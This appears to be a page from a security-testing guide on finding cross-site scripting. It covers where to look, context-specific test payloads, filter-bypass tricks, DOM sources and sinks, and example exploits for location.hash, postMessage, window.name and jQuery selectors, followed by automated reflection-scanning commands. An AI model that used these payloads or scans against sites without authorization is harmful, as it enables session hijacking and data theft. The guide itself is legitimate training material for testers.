Finding XSS¶
Where to Look¶
High-Value Targets¶
- Search boxes
- Comment/feedback forms
- User profile fields (name, bio, etc.)
- URL parameters reflected in page
- Error messages
- File upload names
- Headers reflected in page (User-Agent, Referer)
Often Overlooked¶
- JSON responses rendered in page
- WebSocket messages
- postMessage handlers
- URL fragments (DOM XSS)
- PDF generators
- Email templates (preview)
- Export functions (CSV, Excel injection)
- Admin panels
- Old/legacy endpoints
- Markdown renderers
- SVG uploads
- Hidden inputs (via popover/accesskey)
Methodology¶
1. Map Reflection Points¶
Inject a unique string and search for it in the response:
Check:
- HTML source
- DOM (browser DevTools)
- JavaScript variables
- HTTP headers
2. Identify Context¶
Where does your input land?
| Context | Example | Test |
|---|---|---|
| HTML body | <p>USER_INPUT</p> |
<script> |
| Attribute (quoted) | <input value="USER_INPUT"> |
"onmouseover= |
| Attribute (unquoted) | <input value=USER_INPUT> |
onmouseover= |
| JavaScript string | var x = "USER_INPUT" |
";alert(1)// |
| JavaScript template | `${USER_INPUT}` |
${alert(1)} |
| URL/href | <a href="USER_INPUT"> |
javascript: |
| CSS | style="color:USER_INPUT" |
red;}</style><script> |
3. Test Characters¶
4. Test with Context-Aware Payloads¶
Don't spray generic payloads. Match payload to context:
5. Check for Filters¶
If basic payloads fail:
- Try encoding (
%3Cscript%3E) - Try case variations (
<ScRiPt>) - Try alternative tags (
<svg onload=) - Try event handler variations
- Check Bypasses
DOM XSS Hunting¶
Sources (Attacker-Controlled Input)¶
// URL-based
location
location.href
location.search // ?param=value
location.hash // #fragment
location.pathname // /path/value
document.URL
document.documentURI
document.baseURI
document.referrer
// Storage-based
document.cookie
localStorage.getItem()
sessionStorage.getItem()
// Message-based
window.name // Cross-origin persistence!
postMessage data
Sinks (Dangerous Functions)¶
// Direct execution
eval()
Function()
setTimeout(string)
setInterval(string)
// HTML injection
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
// JavaScript URLs
element.href = "javascript:..."
element.src = "javascript:..."
location = "javascript:..."
location.href = "javascript:..."
location.assign("javascript:...")
location.replace("javascript:...")
// jQuery specific
$().html()
$().append()
$().prepend()
$().after()
$().before()
$.parseHTML() // If scripts enabled
$().attr() // For href, src, etc.
Finding DOM XSS¶
- Search JS for dangerous sinks
- Trace back to sources
- Check if source is user-controllable
- Test with payload in source
Common DOM XSS Patterns¶
location.hash:
// Vulnerable
var content = location.hash.substring(1);
document.getElementById('output').innerHTML = content;
// Exploit
https://target.com/#<img src=x onerror=alert(1)>
postMessage:
// Vulnerable listener (no origin check!)
window.addEventListener('message', function(e) {
document.body.innerHTML = e.data;
});
// Exploit
<iframe src="https://target.com" onload="
this.contentWindow.postMessage('<img src=x onerror=alert(1)>','*')
"></iframe>
window.name (cross-origin persistence):
// Pre-seed in attacker page:
<script>
window.name = '<img src=x onerror=alert(document.domain)>';
location = 'https://target.com/vulnerable';
</script>
jQuery selector:
// Vulnerable
var tab = location.hash;
$(tab).show(); // jQuery selector injection
// Exploit
https://target.com/#<img src=x onerror=alert(1)>
DOM XSS Testing Checklist¶
- Check URL parameters for reflection in DOM
- Test location.hash handling
- Check postMessage listeners (no origin validation?)
- Test window.name injection
- Look for document.referrer usage
- Check localStorage/sessionStorage consumption
- Test jQuery selectors with user input
- Look for innerHTML/outerHTML sinks
- Check eval/Function/setTimeout(string)
- Test JavaScript URL handlers
Tools: DOM Invader (Burp), custom browser console scripts
Automation¶
Parameter Discovery¶
# Find params with reflection
echo "https://target.com" | gau | grep "=" | qsreplace "xss123test" | httpx -match-string "xss123test"
# Or with ffuf
ffuf -u "https://target.com/page?FUZZ=xss123test" -w params.txt -mr "xss123test"
Basic XSS Scan¶
# With dalfox
dalfox url "https://target.com/search?q=test"
# With kxss
echo "https://target.com/page?q=test" | kxss
Found a reflection? Move to Exploitation.